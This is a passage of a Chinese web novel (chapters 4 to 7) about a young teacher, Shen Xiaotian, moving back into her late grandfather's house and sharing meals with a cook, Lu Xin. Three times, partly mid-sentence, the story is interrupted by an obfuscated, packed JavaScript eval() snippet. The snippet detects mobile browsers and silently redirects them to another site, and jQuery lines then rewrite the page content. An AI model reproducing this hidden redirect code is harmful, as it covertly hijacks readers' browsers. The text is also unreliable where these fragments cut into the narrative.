“我就是回来看看,吃麻辣吃撑了,我随便走走的。”
她对着院子说。
倔得像十二年前那个发誓一辈子不会来的小女孩儿。
这天,石榴巷里好几户人家都看见那个空了好多年的房子门开了。
“知道吗?田老师家有人回来了。”
4. 煎饼果子
好几年没住人的房子看看也就算了,住是肯定住不了人的,沈小甜第一天晚上在外公的老房子里呆到了晚上快十点,打了个车回住的酒店,第二天一大早又过来了。
她一夜没睡好,满脑子都是满屋里罩着白布的床和柜子,好像上面积的灰都跑到了她的脑子里。
沈小甜从小长大的地方是个老房子,看着是个二层小楼,可是一层楼只有七十多平,两层楼加上小阁楼,整栋房子也不到一百六十平。
石榴巷原本叫石榴村,上世纪五十年,沽市还叫沽县的时候,这个石榴村也不过是护城河外的一个小村子,后来沽县搞起了轻工业,人口迅速集中,原本小县城里那点儿地方就不够用了,石榴村是最快一波被划归城里的。
就是因为划得太早,石榴村一半的地用来建了轻工厂的家属楼,另一半就一块一块地批成了小宅基地,建了些小楼,作为县里的“特殊待遇房”,石榴村就成了石榴巷。
一九八零年,沈小甜的外公田亦清从大西北回来,担任沽县第一中学的数学老师兼校长,被安排住进了这里,后来房改,这个房子就真正属于了他们家。
一楼早些年是客厅、书房加厨房,田老爷子当老师,少不了就把学生带回家里,要么是学习上缺了课的,要么是生活上缺了嘴儿的。
沈小甜倒是没怎么见过他把学生往家里带,毕竟她有记性的时候,她外公已经退休了,可她见过跟她外公吃过饭的学生,每年大年初一来拜年,总要提一提这个事儿。
到那时候老爷子就会很得意,捧着他的大茶杯说:“书房解决不了的问题,九成九是厨房能解决的,厨房解决不了的问题,百分百是书房能解决的。”
沈小甜四五岁的时候就能自己睡了,老爷子就把后墙拆出去一块儿,省掉了后面那纵深两米的院子另改成了厨房,整个一楼布局大改,又多了一个卧室。老爷子就搬到了楼下住,把整个二楼都让给了沈小甜。
“哎呀,以后我睡个午觉可算是不用跑上跑下了。”说这话的时候老爷子是长出了一口气的,仿佛每天在楼梯上上下下对他来说是个酷刑。
拍了书架上的浮灰,沈小甜掏出手机开始找当地家政的消息。
她想把房间里里外外打扫一遍。
拿着手机走出房子,她正好和几个站在院子门口的阿姨奶奶对了脸儿。
一个大妈眯着眼,仔仔细细地看着那张被早上阳光笼罩的脸庞,有些犹疑地说:“是田心回来了?”
“哪儿是田心啊,这是……哎呀,这是我们小甜回来了!哎呀,小甜这一下子就这么大了!”
一瞬间,沈小甜就被这群阿姨和奶奶给包围了。
“好多年没见了,我记得小甜上……上学的时候就长得好看,现在就更好看了!”
“小甜今年有二十了吧?不对不对,你比我家大城小三岁,我家大城明年就三十了,小甜你是二十六了,哎呀呀,这真是,孩子一不在眼前儿,嗖嗖地就大了!”
几个阿姨掰着手指头算着沈小甜的生辰八字儿,在她们的嘴里沈小甜真是吹气儿一样就长成了一个甜甜美美的大姑娘。
过了足足八分钟,一个阿姨突然想起来她们是要去市场买菜的,沈小甜才总算被放过了。
到了这时候她才有空揉着额头想一想,把记忆里的徐奶奶、李阿姨、陈阿姨……做一个连连看。
小城的家政业比不了珠海,更比不了上海,号称是金牌家政服务公司的也不过是个中介平台而已,来的三个阿姨连制服都没有,各种打扫工具是架在电动车后面驮来的。
久不住人的房子打扫起来几乎处处是坑,沈小甜怕造成额外的损坏,家政阿姨们擦书柜的时候,她自己动手把书抱下来整理。
刚整理了几本书,院子外面又有人用带着沽市方言喊她名字:
“小甜啊!一大早就忙着收拾,早饭还没吃吧?”
沈小甜走出去,看见刚刚的一个阿姨对着她晃了晃手里的包子。
咕——
肚子告诉沈小甜,它饿了。
送包子来的阿姨姓李,家里的儿子比沈小甜大三岁,一直在省城工作,上个月和他在大学时候认识的女朋友办了婚礼。
阿姨还没忘了指了指自己头顶羊毛似的卷儿说:“要不为大城结婚啊,我才不弄这个头发呢,花钱倒是其次,就在那儿干坐了一天,真是憋死我了。”
手里拎着还烫手的包子,沈小甜还得回答阿姨时不时的问题。
“工作是在一个高中当化学老师。”
其实已经没了。
“没有什么额外收入,刚开始工作,还得积累经验。”
也没得什么机会积累了。
“学生还挺好管的。”
……才没有。
“有男朋友,大学时候认识的,人挺好的。”
就是劈腿速度如风,估计可以在舞台上连开十八个大叉。
内容很美好,气氛很和谐,阿姨很满意。
目送了那个阿姨,沈小甜拎着包子回了房子里,一楼到处都是飞灰,只有二楼的阳台上好一点儿,她站在阳台上,刚打开装包子的塑料袋,就看见楼下一辆红白相间的摩托不紧不慢地从梧桐树下面驶来。
骑车的人在她院子门口停了车一抬头,沈小甜笑了。
“你放心,我没想跳楼。”
她站在楼上,一本正经地说,还展示了一下手里的早餐。
男人摘下头盔,对着她摆了摆手,又调转车头走了。
沽县人说起包子,都是发面大包子,一个比沈小甜的脸还大。
从前有个笑话,一个沽县人跑到广州创业,卖的就是沽县特产的大包子大馒头,过了三个月,生意做不下去了。
不是因为他做的不好吃,是因为他的包子馒头太大了,广州人表示他们一顿根本吃不了一个。
“一家人分我这一个包子吃,你们说我这生意还怎么做?”灰溜溜回乡的老板气苦。
李阿姨给沈小甜的包子尺寸在沽市算不上大,面皮也不像沈小甜记忆里那样有发酵的香气,咬到第三口才吃到馅儿,是大葱猪肉的,很扎实地在包子里被攥成了肉蛋子。
就是跟包子的体积不成正比。
包子馅儿快被吃完的时候,男人骑着摩托车又回来了,摘下头盔,他说:
“嘿,下来,我买了好吃的给你。”
沈小甜笑了,早上的阳光被梧桐叶子遮蔽得斑驳,落在她软软的脸颊上:“又用好吃的引我下去,大好人,你不会真以为我要跳楼吧?”
说着,她还是转身往楼下走,旧旧的木头楼梯被她一步一步踩得砰砰响。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729321|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你那包子一看就是桥下老高家卖的,馅儿比他的心眼儿还小,面比他的脸皮子还厚,给,尝尝这个。”
头盔挂在车把手上,陆辛把挂在车把上的塑料袋解下来给了沈小甜。
金灿灿抹了鸡蛋被烙熟的面饼被叠的四四方方,外面还撒了一层芝麻,里面夹着被炸到酥脆的薄脆,塑料袋一打开,葱香酱香面香油香混在一起往人的脸上甩。
“这个煎饼果子做得真好看。”
沈小甜发出由衷的赞叹,煎饼果子这东西这些年风靡全国,沈小甜也见过、吃过挺多种的,便宜的就是这样面皮加薄脆,玩儿起花样来,那就没什么不能往里面放的了,什么红酒牛排、麻辣小龙虾、法式鹅肝……沈小甜没吃过,也知道这些网红煎饼果子也被追捧过。
“光做得好看那是样子货,好吃不好吃那是得进了嘴才知道。”说着话,陆辛伸手一拽,把沈小甜手里的剩下的包子给拽走了。
沈小甜“唉”了一声,他掂了掂包子说:“你放心,你要是吃了这个还想吃包子我就还你。”
“我肯定吃不下了。”沈小甜对自己的饭量有数,吃了那个包子之后,她这个煎饼果子最多吃半个,虽然从她离开沽市之后一直有人说她能吃,她也不过是比一般的女孩儿能吃那么一两成而已。
陆辛扬了扬下巴,像是在嘲笑女孩子的饭量,他说:“那也没办法了,前面那个岔道过去有一家养了只大白鹅,一会儿我过去的时候扔它饭盆里。”
好像也是办法。
沈小甜咬了一口煎饼果子,眼睛一下子瞪大了。
看着她的样子,陆辛笑了。
“怎么样,这个煎饼果子好吃吧?绿豆面儿做的,正宗老天津人的手艺,这家老板去学了三年回来开的店。”
绿豆的香气是很淡的,却仿佛在人的味蕾上流淌而过,酱料和葱花香菜挑动人的神经,饼和鸡蛋被烙出来的香顺着食道下去了,又似乎处处都留了痕迹。
最妙的是中间的薄脆,被咬碎的瞬间,它的碎屑迸溅于唇舌,脆响好像在人的颅腔里带了回声。
“好吃!”吃了两口,沈小甜点着头夸奖这个煎饼果子。
陆辛很得意:“我推荐的,可不会不好吃。”
几分钟后,沈小甜放下了手里的煎饼果子,动作颇有几分在不舍和吃撑间的挣扎,她抬头对陆辛说:“谢谢你啊,连着请我吃了两顿好吃的。”
陆辛“嗯”了一声,拿起了头盔。
又听年轻的女人对他说:“你是我这个夏天遇到的最好的人了,怎么样,要不要留个联系方式给我,我也回请你一顿好吃的?”
沈小甜的神色坦坦荡荡,陆辛转过头来看了她一眼。
“号码你有,我叫陆辛,大耳朵的陆,瞎忙活的辛。”
果然,昨天那个号码是他关了自己手机之后让沈小甜拨出来的。
“我叫沈小甜,沈是沈小甜的沈,小是大小的小,甜是不甜的甜,号码,你也有。”
不知道是阳光刺眼,还是沈小甜昨晚上睡得不好,她今天笑起来的时候眼睛弯弯的。
陆辛对她点点头,一加油门走了。
“嘿呀,认识这么个人,我是要享口福啦。”
得意洋洋的二十六岁小甜老师,走出了十二岁少女的快乐步伐。
5. 西瓜
窗明几净。
三位家政阿姨加上沈小甜从早上忙到了黄昏,终于把整个房子彻底打扫了出来。
其实也没有真正做到彻底,卫生间的马桶下水不太好了,房子想要住人的话得另外找人整理一下。
一开始打扫的时候,沈小甜没想在老房子里住,可她是个做了什么事情就要做好的人,比如房子里到处盖着的布实在是太脏了,她想洗一下,就得用上洗衣机。
尘封了七年的洗衣机其实年岁也没多大,撤下了罩子一看,还是个八成新的样子,显然是个不甘于一直沉默的小家伙,哼哧哼哧地转了一天,连洗带甩,一点毛病都没有。
青色的尼龙绳绑在院子的围栏上面,被洗回了白色的布整整齐齐地在上面搭着。院子里晒不开的就挂在了二楼的阳台上。
这些飘着的布像是一面面的旗帜,为石榴巷的这座小楼引来了络绎不绝的客人。
有和早上时候一样来探望的邻居,有社区的管理……他们看着里里外外忙乎的架势,都问沈小甜:
“你是打算回来住两天?”
沈小甜最烦的就是跟别人解释自己要干什么,习惯性地面带微笑,她只是沉默地点点头。
反正这些人只是要一个当下的答案,并不会在乎这个房子里到底是不是真的有人住回来。
自诩不甜的沈小甜老师从来不会对别人的热情有什么期待。
可到了下午五点,事情就发展到了她之前无论如何都想不到的地步。
“小甜啊,这个凉被是全新的,你大城哥之前给我买的,说是什么蚕丝的,我睡觉都用我的毛巾被,可舒服了,这个花花绿绿的,就该你们年轻人用。”
早上给沈小甜带了包子的李阿姨用手提袋整整齐齐地给她带了一条凉被过来。
“你放心,我晒了一天了,你直接睡,肯定舒服。”
李阿姨说完就走,速度快到满头的羊毛卷儿都要飞起来了。
“小甜啊,碗,筷子,盘子,我这一样给你带了两套,凑合着用,你好不容易回来住了……有空来徐奶奶家,奶奶给你炖鱼吃。”满头苍发的老太太拍了拍沈小甜的肩膀,摇着头走了。
已经洗干净的碗筷是放在一个透明小筐里被端来的,被安置在了刚擦干净的茶几上。
“小甜啊,我估计你家里要收拾得地方多了,前几天我看见你家阁楼顶上的瓦歪了,今天不行,明天,明天我找个梯子叫着我儿子来给你整整。”宋大叔声如洪钟,放下东西走的时候却是轻手轻脚。
被留下的是一个电热水壶。
局面有点失控啊……
沈小甜觉得自己脸上的塑料微笑都要撑不住了。
她在石榴巷住到了十四岁,她记得荆家的卤肉、小乔姐的麻辣烫,记得石榴巷几乎每家都种的石榴树,还记得巷子的另一头那棵老柿子树……
可她不记得这些人。
他们的名字和脸,她努力从记忆深处挖出来,不是很用心地拼凑着,他们却给了她满满的善意和温暖,好像她这十二年里从来没有离开过。
“我就不该说我要在这儿住。”
清洁的阿姨走了,客厅里堆满了前后街坊送来的东西,沈小甜坐在沙发上深深地叹了口气。
算一算,只要再弄个新床垫,她还真可以在这儿住了,里里外外缺的些东西,愣是这些人给凑了个七七八八,每样东西都绝对称不上贵重,沈小甜却觉得自己心上好像被什么压住了,沉甸甸的。
第二口还没叹出来,门外又传来了呼喊她的声音。
不甜的沈小甜老师只能再次露出很甜的微笑。
这场“送礼热潮”在晚上七点的时候才结束,一对男女带了一个孩子站在了院子门口。
他们没像那些邻居一样喊着“小甜、小甜”,而是规规矩矩地摁了门铃。
门铃坏了。
天还没黑呢,沈小甜正巧看窗外,看见了他们。
“您好。”
“小……啊,对……。”男人张了张嘴,有些局促地说,“小甜,对吧,我记得。”
沈小甜点头,短短的时间里她确定了他们并不是左右的邻居——石榴巷的人似乎并不知道什么叫局促。
“我姓方,叫方墨林,这是我妻子季雨诗,你就叫我方……”男人求助地看向自己的妻子。
女人笑了一下,接过了话茬:
“你叫我季姐姐就好,我和你方大哥都是田老师的学生,我现在就在市一中当语文老师,你方大哥呢,现在是咱市水利局工作,我有个学生姓宋,我看他下午的时候发了个朋友圈,说田老师家回来人了,就跟你方大哥说了。本来应该是不该这么晚过来的,可他等不了,我们就先来看看。”
是老爷子的学生。
沈小甜低下头,笑了一下。
“谢谢你们关心,真的,太麻烦你们了。”
斜阳的光里,女孩儿微微低着头,神情有些淡了,是在一瞬间有些怅然。
对面的那对夫妻又对视了一眼,季雨诗摩挲了一下孩子的脑袋,说:“小甜……我可以这样叫你吧?我知道这个话有些冒昧,可是,田老师,田老师他……他的身后事,我们挺多人想祭拜一下的,当时我们收到消息的时候也什么都不知道。
“田老师教了我和我家老方三年,有些事情现在说起来我都不知道该怎么表达了……我们就想让他知道,我们这两个当初让他操心了三年的学生,现在结婚了,孩子也四岁了……让我们能鞠个躬磕个头就行。”
沈小甜抬起了头,看着这对夫妻,她说:
“我外公有遗嘱,我妈把他的骨灰洒在大西北的沙枣林了。”
“不设墓,不纪念,不麻烦别人……”是他自己亲笔写的。
一声哽咽,却不是两个女人发出来的。
方墨林捂着自己的嘴,沈小甜清楚地看到他的眼眶已经红了。
“老师……田老师他……”
他什么呢?
姓田名亦清的那个家伙,他的一生真是复杂到让人连挽联都不知道该怎么写。
那对夫妻走了,给沈小甜留下了一个西瓜。
西瓜泡在别人送来的水盆里,沈小甜随手又把冰箱的电源插上了,跟洗衣机比起来,冰箱算是姐姐了,沈小甜记得这个冰箱是她09年的时候央着老爷子买的,听了一会儿压缩机的声响,再试试冷冻层的温度,沈小甜满意地点点头。
电视机是08年为了看奥运开幕式换的,沈小甜摸了摸,没打开,她早就不习惯看电视了。
东摸摸,西看看,最后站在客厅,她环顾这个房子。
“需要买床垫、枕头、四件套,楼上的窗帘要换一下,沙发得买几个靠枕,宽带得重新弄一下。”
掏出手机,她开始规划起了自己住在这里需要的东西。
其实沈小甜只打算回来呆几天的,原来的那份工作没了,甚至那座城市她都不想再呆了,她真清楚地知道自己现在应该做的是趁着暑假赶紧去别的学校求职。
又叹了一口气。
“算了,多休息几天,我还欠了人家一顿饭得还呢。”
用别人送的刀把别人送的西瓜切开,再用别人送的勺子挖着吃,沈小甜觉得沽市的西瓜比她记忆里的甜。
一定是赶在下雨前摘了的西瓜。
小沈老师很有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729322|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经验地下结论。
第二天一早,沈小甜就跑到了当地的家装城买床垫,在网上买的还要算上路上运输的时间,既然下定决心要住回去,沈小甜就不想多花那份儿酒店的房费了。
挑了一个还挺舒服的薄床垫,约好了送货上门的服务,沈小甜的手里又拎了两张桌布,一张是茶几的,一张是餐桌的。
乳胶枕头是买床垫送的。
在床品店看了一圈儿,沈小甜捏着鼻子从店员推荐红色粉色里突围,选了一套灰底黄格子的床上三件套。
上午十点多,买完了东西的沈小甜打车回了石榴巷。
她回来没多久,宋大叔就扛着梯子来了,还带着他儿子,说是在读高中,足有一米八五的个头,看见沈小甜只会憨憨地笑。
“大叔,吃点儿水果吧。”
路上买的葡萄洗干净之后水灵灵的,被沈小甜放在白瓷的盘子里。
修完了房顶的宋大叔在卫生间洗了洗手,吃了两颗葡萄,抬头一看,又说:
“我给你把空调洗洗。”不等沈小甜回答,他拿起自己带来的旧报纸一垫,踩着柜子去收拾空调了。
沈小甜没办法,只能招待宋大叔的儿子吃葡萄。
沽市隶属于全国有名的海滨度假城市,夏天的温度比北方别处略低一点,她在南方呆了那么多年,一回来只觉得干爽,还真没想过空调的问题。
“你知不知道周围哪家店新开的,还挺好吃的?”她问那个吃了三粒葡萄就不再动的少年。
其实沈小甜是饿了。
宋家少年抬起头说:
“高记煎饼果子!离这儿挺近的,就在我们学校旁边。”
应该是昨天吃过的,沈小甜点点头,用鼓励学生榨干自己脑浆的语气说:
“还有么?”
少年的眼睛突然瞪大了,有些显摆似的说:“我陆哥做的饭可好吃了!前一阵李阿姨的家大城哥回来结婚,正好陆哥又回来过暑假了,李阿姨就请了他当大厨,每个菜都好吃!”
陆哥?
院墙外,红白相间的摩托车又开了过来。
大长腿撑在地上,陆辛抬头看了看这个老旧的楼。
房子的门正巧在这个时候打开了。
传来少年一声惊喜的呼唤:“陆哥!”
“据说能请你当大厨是么?”宋家父子和陆辛聊了几句就扛着梯子走了,少年跟在爸爸的身后,还跟陆辛再三做手势,好像是约着要打球。
沈小甜转身看向陆辛,问道:“据说能请你当大厨是么?”
“嗯,我接给人开席的活儿,可以食材自备只给我工费,也可以全包给我,就是不便宜。”
陆辛抬头看看太阳,又看穿着T恤短裤的女孩儿。
自从在桥上那次之后,他就没见过她穿裙子的样子了,估计是收拾房子图利落。
男人的眼睛从细长的白腿边儿划开,说:
“你中午吃什么呀?”
沈小甜笑:“不知道。”因为要逛街买东西,她早早在酒店吃了自助早餐。
“走吧,我带你吃个冷面。”嘴里说着话,陆辛从车上下来了。
“你家院子里能停车么?”
“怎么?那家店门口不准停车啊?”
陆辛有些无奈地拍了一下车屁股,好像用尽了所有的耐心似的说:“我这车不能带人,你又不知道店在哪,总不能我推着车陪你走过去吧?”
沈小甜点点头,让开,让他把车推进了小院子。
又看了一眼这个老房子,陆辛把头盔挂在车把手上,看着沈小甜锁好了房门。
“走吧。”
“嗯。”
6. 荞麦冷面
冷面这种东西在沽市挺有名的,早些年很多韩资来这儿投资一些皮包厂、鞋厂之类的,带得沽市起了好一阵儿的韩餐风潮。
冷面、烤肉、泡菜……石榴巷另一头的小河过了桥,沿着河沿儿以前有一串儿小馆子,各个都挂着“正宗韩国冷面”的招牌。
沈小甜离开沽市的时候,沽市已经开始在搞产业升级,沽市老百姓的口味也换了方向,口味香辣、气氛热烈的四川火锅强势而来,一下子就挤走了“阿尼哈赛哟”。
“老金,要两碗冷面,牛肉有好的么?让老太太再给我们做个牛肉。”
“两碗,陆辛你猪……”穿着两道襟背心儿的中年汉子正在切着什么东西,往外探头一看,正好看见了陆辛往旁边一让,露出了身后娇小的女孩儿。
“哎哟嘿!”
中年汉子把刀一放,两手摸着围裙的兜儿就从厨房出来了。
“行啊,看你带了漂亮大姑娘来吃饭,我不给你整虚的,牛舌,我让我妈给你做个牛舌!”
说完,叫老金的汉子对着沈小甜点点头,就又回了厨房。
陆辛在沈小甜对面坐下,有些无奈地说:“他们店里手艺最好的是他家老太太,到现在他家泡菜和火锅还得老太太来做。白守着他们家老太太这么多年,老金也就做个冷面能吃。”
沈小甜笑着看着陆辛,这个家伙就像个沽市的美食百科,每到了一个店就像输入了一个搜索词,一下子就能给出一大段的信息。
陆辛回头又看了一眼厨房,又说:
“老太太早不掌勺了,他们这家店生意也不如以前好。不过面还挺有意思,是直接压进锅里的荞麦面。”
沈小甜点点头,表示自己听得津津有味儿。
正巧这时候老金出来给他们端了两碟泡菜。
“陆辛,你回来了也一直没过来,我春天的时候还带着我妈和你嫂子去了趟潍坊呢,你之前不是跟我说潍坊有种面也是压出来的么,我跟我妈说了,我妈就要去看看。”
说完话,他对沈小甜露出了一个特别和善的笑容:
“姑娘,今天是陆辛沾了你的光了,泡菜随便吃啊,不够再叫我。”
店门处挂的帘子被掀开了,比之前更酷热的阳光把地都照的发亮,一个老太太抬脚迈了进来。
“陆……辛!”她对着坐在桌前的男人打招呼,本来很严肃的一张脸因为笑容变得可爱起来。
陆辛一下子就站了起来,对着老太太点头行礼,嘴里说:
“我朋友想吃点儿好的,我就带她来了,麻烦您大热天的帮我忙一场。”
“你们、来吃饭,啊,我,高兴!”努力说着话的老太太还努力点头。
她对着陆辛的时候很亲切和蔼,看着自己的亲生儿子老金,脸就一下子沉了下来。
“牛舌、切了么?”
老金的两只手不知道什么时候已经放在了两腿边儿,五大三粗的男人半躬着身子说:
“还没,我刚刚在切配菜。”
老太太迈着步子走向后厨房,每一步都是星级大厨的气势,老金低着头跟在后面,看起来则连个洗碗小工都不如。
陆辛重新坐下,看着跟他一起坐下的沈小甜,无声地笑了一下,压低声音说:
“老太太又要用他们那儿的话骂儿子了。”
他说完,沈小甜果然听见了一串类似韩语的发音。
“老太太一直嫌弃老金的手艺不行,进了厨房就骂他,可老金也那么大年纪了,老太太就改用咱们听不懂的话骂他。”
说着说着,陆辛自己先笑了。
这是沈小甜第一次看见陆辛正对着自己笑,他笑起来更显小了,有点像那些她从前的学生。
当然,她学生就算好看,也都还青涩稚嫩,在气质是上是比不了陆辛的。
喝一口温温的大麦茶,吃一口凉凉的泡菜,沈小甜一下就觉得外面的蝉鸣都不扰人了,看一眼厨房里忙碌的母子,她说:
“她很喜欢你。”
陆辛一脸的理所应当:“那是肯定的。”
过了一会儿,他说:“老太太前年中风了,本来老金费劲了这么多年,好不容易把女儿送韩国读书了,刚攒了钱想换个大店面,事儿就又搁下了。等老太太出院,他也不愿意让老太太做菜了,也就我还记得老太太做的牛肉。”
“一个厨子啊,谁喜欢他的菜,他就喜欢谁。”
陆辛刚说完这句话,老金端了两碗冷面出来了。
“我妈说了大姑娘得少吃带冰的,非逼着我把冰给你捞出来了。”
褐色的面条带了点儿紫,泡在琥珀色的汤里,上面摆着几片卤牛肉,几片艳红的西红柿,一摞黄瓜丝,当然也少不了辣白菜和半个切开的鸡蛋。
辣椒酱和芥末都是自己选着放。
对比着陆辛碗里仿佛冰山似耸立的冰沙,沈小甜对自己平静无波的面碗很满意。
面一入口的时候,舌尖最先沾到的是酸甜可口的汤汁,冰冰凉凉像是来自北冰洋的水,让酸和甜在清淡的香气中一起变得清冽,辣酱的辣味像是深海里游走的磷火一样撞在了舌头上,让人一下子就从如海一般的酸甜纠缠中醒了过来。
至于面的本身,就是滑爽,从顺便到嗓子眼儿,恨不能测算出最快时速。
荞麦面很柔韧,一旦煮不好不仅会有一股生谷物的涩味,面条也要么面芯到咬不动或者粘牙,要么软烂得一塌糊涂失了荞麦面的特点。
这个面煮的刚刚好。
沈小甜偷空看了一眼陆辛的面碗,如果说她这碗面是从北冰洋来的寒流,那陆辛的面就是格陵兰岛附近漂浮着冰川的海了,他调进面里的还不是辣酱,而是芥末。
想想都觉得是加倍的刺激。
店里又来了两个人,点了冷面和自己动手的烤肉,老金忙了一圈儿把东西都收拾出来,自己也挑了个凳子坐在了沈小甜和陆辛桌旁,准确地说,是坐在了陆辛的一侧。
陆辛已经把他的那碗面吃了个七七八八,捞了两根黄瓜丝在嘴里,略侧着头取笑他:
“你又被老太太赶出来了是吧?”
“嘶,陆辛,我好歹给你切了牛舌呢。”老金又看向对面那个默默吃冷面的姑娘,“姑娘,陆辛这货就是卖相好,其实满嘴都跟长了刺似的……嘿嘿。”
沈小甜没在意老金说了什么,蒜香气跟着盘子一路飘出来,老太太端着她做的蒜香牛舌出来了。
“陆、辛,你们……你尝尝。”
中风的后遗症让老太太想把字咬清楚都变得困难,陆辛抬手接盘子,看见沈小甜已经站了起来。
“谢谢您,光是闻就很特别。”
男人愣了一下,看着那盘牛舌被珍而重之地放在桌子上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729323|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>沈小甜在吃牛舌之前先喝了一口大麦茶,漱口,顺便舒缓一下自己的味蕾。
牛舌一片不到两毫米厚,用筷子拎起一片,酸油里金色的蒜泥往下缓缓流淌,油光上还黏着着一点黑胡椒碎。
牛舌取的是靠近舌根的部位,入口的感觉油润细腻,咬下去,纤维恰到好处的脆包裹着薄薄的肉汁,肉的香味被蒜和黑胡椒催发到了极致。
“老太太您这手艺真是越来越好了。”
陆辛的嘴上沾了一点儿油光,对着老人赞不绝口。
老太太听了很开心,张了张嘴,她对着自己的儿子磕磕绊绊说了一串儿,然后对着陆辛和沈小甜摆摆手,她就走了。
“我家老太太是觉得她说话磕磕巴巴地,跟你说多了影响你胃口。”送走了自己妈妈的老金回到桌子边儿跟陆辛这么说,他妈做的蒜香牛舌已经被吃光了。
沈小甜慢条斯理地擦嘴,仿佛刚刚一筷子夹了三片的不是她。
“嘿,陆辛你手真黑啊,我妈难得做了菜,你两筷子都吃光了,人家姑娘吃了没?你做人怎么这样呢?”
老金为斯斯文文的小姑娘由衷地愤慨。
陆辛看向沈小甜。
沈小甜喝了一口大麦茶,表现出了非常衬自己脸的傻白甜气质。
一分钟后,老金跟陆辛说起了自己在潍坊吃的饸饹面,他可是揣了问题要问的。
“老太太还赶着我特意进了人家厨房去压那个面,没想到啊,那面真是跟我们这冷面有点像,早先还是用了高粱面,你说这一个是大东北的,一个……我听说他们那饸饹面最早是山西那边传过来的,你说它们怎么就一个做法了呢?”
陆辛皱了一下眉头:“你是不是看老太太对我好,故意拿刁钻问题为难我呀?”
老金嘿嘿直笑:“我家老太太那些手艺你都不知道学了多少去了,还能被我这小问题难住?嘿嘿,其实是我家老太太问我的,她就爱琢磨这些,就问我,这个饸饹面是不我们冷面的亲戚呀?我说我不知道,又被她给数落了一顿。”
他的话音没落呢,坐在陆辛对面的沈小甜开口说了四个字:“醇溶蛋白。”
哈?那是啥?
两个男人一起看向沈小甜,看见小甜老师端着大麦茶,表情淡淡……竟然很像给学生补课的老师。
“谷物中除了淀粉之外含有多种蛋白质,其中有一种叫醇溶蛋白,它的构成主要是低键能的氢键和疏水键,很容易断开,所以富含醇溶蛋白的面团就会有很好的延展性和黏性,高粱和荞麦的共同点是它们都富含这种醇溶蛋白,成分占比远高于小麦粉,所以它们相比较面粉会更难塑形。”
小甜老师知识点说完了,喝了一口大麦茶。
老金的脸有点儿僵,他求助地看看陆辛,并没有从他的脸上看到任何自己能懂的部分,又看向沈小甜:“然、然后呢?你说的是什么意思?”
唉,懒于思考真是学生们的一个大问题,知识点都画出来了,为什么让他们自己答题就这么难呢?
“高粱和荞麦的这个共性不就会导致它们会被用近似的手法加工么?!”
把茶杯放在桌子上,沈小甜要不是记得自己不是在课堂上讲卷子,几乎就要说出那句名言了
——这可是送分题啊!
“噗!”陆辛看着沈小甜,拍了一下桌子,终于忍不住大笑了起来。
7. 柿子
“她的意思是说其实高粱和荞麦在一些成分上是相似的,所以呢……”陆辛沉思了一下,继续说道,“所以高粱面荞麦面都没劲儿,揉不成个儿。你想想,这些面都是古人搞出来的,那时候哪有白面啊?有什么就将就着弄呗,高粱面荞麦面不能做手擀面也不能做拉面,合成团子压出来也行,这就成了!”
陆辛解释完了,眼睛看着沈小甜。
只看见年轻女孩儿一直在点头。
他又想笑了,这次憋住了。
离开老金家,沈小甜还对那个蒜香牛舌意犹未尽,冷面虽然好吃,但是高脂肪和高蛋白带给人口腹之欲的满足是没办法被取代的。
更不用说老太太那一切都处理精到的手艺了。
“这顿饭我们应该AA吧。”她问陆辛。
男人低下头看她,说:“好。”
沈小甜掏出了手机:“那你加我一下微信,我转账给你。”
转账一定要加微信么?
这不重要。
陆辛很无所谓地照做了。
“你刚刚的解释,真的……太吓人了。”陆辛用了足足两秒的时间去形容沈小甜的“醇溶蛋白”,语气是很诚恳的夸奖,虽然内容上听不出来。
沈小甜也反过来夸奖他:“你的进一步解释……特别像是……”
给成绩不理想的学生补课的课代表。
这样的词该怎么表达出来呢?
“……嗯,挺棒的。”算了,还是塑料一点吧。
过了桥就是石榴巷,沈小甜一抬头,看见了那棵老柿子树。
“你刚刚说的话,让我想起来有人跟我说过的另一句话。”
陆辛随着沈小甜一起停下脚步。
八月的柿子树小果初成,隐藏在繁茂的叶子底下,不仔细看都看不清。
“以前,有人跟我说,柿子要霜打了之后才好吃,所以,有时候人就像个柿子,硬邦邦地挂在树上,涩涩地被人嫌弃,就等着一场很严酷的霜降。会很痛苦,但是痛苦之后就不一样了。”
十二岁的女孩儿跟省奥林匹克的奖牌失之交臂,站在巷子口跟自己生气,怎么都不愿意回家,那个老爷子沿着两条河的岸边儿转转悠悠地找了她好久,找到之后带着她往家里走,就在这棵树下,就在这个地方,这样安慰过她。
“其实是柿子里的化学成分需要足够的时间和条件产生变化,防御性成分减少,复合物质水解产生糖,更久的光照和更大的温差有助于糖的转化,才会更好吃……而且,我成年之后才想明白,柿子只是一棵树的一个果实,它没有大脑,不会觉得痛苦。”
但是人会。
